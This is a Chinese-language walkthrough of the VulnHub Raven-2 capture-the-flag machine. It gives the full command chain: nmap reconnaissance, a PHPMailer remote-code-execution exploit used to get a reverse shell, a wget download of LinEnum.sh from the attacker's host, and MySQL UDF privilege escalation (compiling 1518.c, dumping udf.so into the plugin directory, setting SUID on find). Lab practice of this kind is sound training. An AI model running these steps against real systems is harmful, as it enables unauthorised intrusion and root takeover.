VulnHub-Raven-2

靶机地址

https://www.vulnhub.com/entry/raven-2,269/

flag—1

扫描存活主机
arp-scan -l

通过靶机mac地址判断IP为192.168.75.135然后nmap扫一下，看看开放端口
nmap -A -p- -v 192.168.75.135

三个开放端口，然后dirsearch扫一下目录

访问/vendor存在一个目录遍历漏洞，在PATH下找到flag1

flag—2，3

访问README.md发现存在一个phpmailer服务，并且在VERSION下看的版本为5.2.16搜了一下18以下存在PHPMailer远程命令执行漏洞本来想手工利用，但是失败了，直接利用searchsploit搜索可以利用的漏洞
searchsploit PHPMailer

将python那条exp拷贝出来，然后修改目标地址和反弹shell的地址以及上传的路径

1	cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/joker27/桌面

然后执行exp生成后门文件
python 40974.py

监听端口，先访问http://192.168.75.135/contact.php生成后门文件，然后访问后门文件反弹成功
使用python获得一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看权限，是一个www-data权限很低

使用命令find / -name "flag*"直接搜索flag，查到flag2和3

flag2直接命令打开就行，flag3是一张图片在web下访问http://192.168.75.135/wordpress/wp-content/uploads/2018/11/flag3.png即可得到，最后一个flag肯定就要提权了

flag–4(udf提权)

以前只了解但是没玩过udf提权也是拿这个靶场练练
使用LinEnum.sh对Linux进行信息搜集，项目地址：https://github.com/rebootuser/LinEnum
利用python起一个临时web服务，python3下运行python -m http.server
服务默认端口8000，利用这个服务将LinEnum.sh文件上传到靶机上运行，这个方法在Vulnhub——Ai-Web1也有运用，不知道的可以参考我前面的文章，然后使用wget远程下载sh文件

然后运行这个文件，需要加权运行

1 2	chmod +x LinEnum.sh ./LinEnum.sh

出来的信息很多，发现mysql是在root下运行的，其实也可以执行命令ps aux | grep root查看以root运行的进程

所以如果数据库版本不是很高(<= 5.7.14，5.6.32，5.5.51)就可以用udf来提权，就下来就是想办法得到数据库版本，最终在如下配置文件得到mysql的账号密码

连接数据库mysql -uroot -pR@v3nSecurity
查询数据库版本

查看 secure_file_priv 的值
secure_file_priv 是用来限制 load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

show global variables like 'secure%';
     当 secure_file_priv 的值为 NULL ，表示限制 mysqld 不允许导入|导出，此时无法提权
     当 secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下，此时可能也无法提权
     当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权

可以使用udf提权，并且导出没做限制，kali使用命令searchsploit mysql 找到利用exp

将exp复制生成.so文件

cp /usr/share/exploitdb/exploits/linux/local/1518.c //home/joker27/桌面
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc

参数含义
-g 生成调试信息
-c 编译（二进制）
-shared：创建一个动态链接库，输入文件可以是源文件、汇编文件或者目标文件。
-o：执行命令后的文件名
-lc：-l 库 c库名

同样用python的临时服务将.so文件上传到靶机，接下来的步骤就是自定义一个函数

use mysql

//创建一个表并且包含一个blob型(blob型用于储存大型二进制对象)的列
create table foo(line blob);

//将udf.so文件插入表中
insert into foo values(load_file('/var/www/html/udf.so'));

//将二进制数据导出到plugin目录下
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';

//创建自定义函数do_system，类型为integer，别名udf.so
create function do_system returns integer soname 'udf.so';

//查询是否创建成功
select * from mysql.func;

//利用自定义函数改变find命令权限
select do_system('chmod u+s /usr/bin/find');

//使用find提权
touch hello
find hello -exec "/bin/sh" \;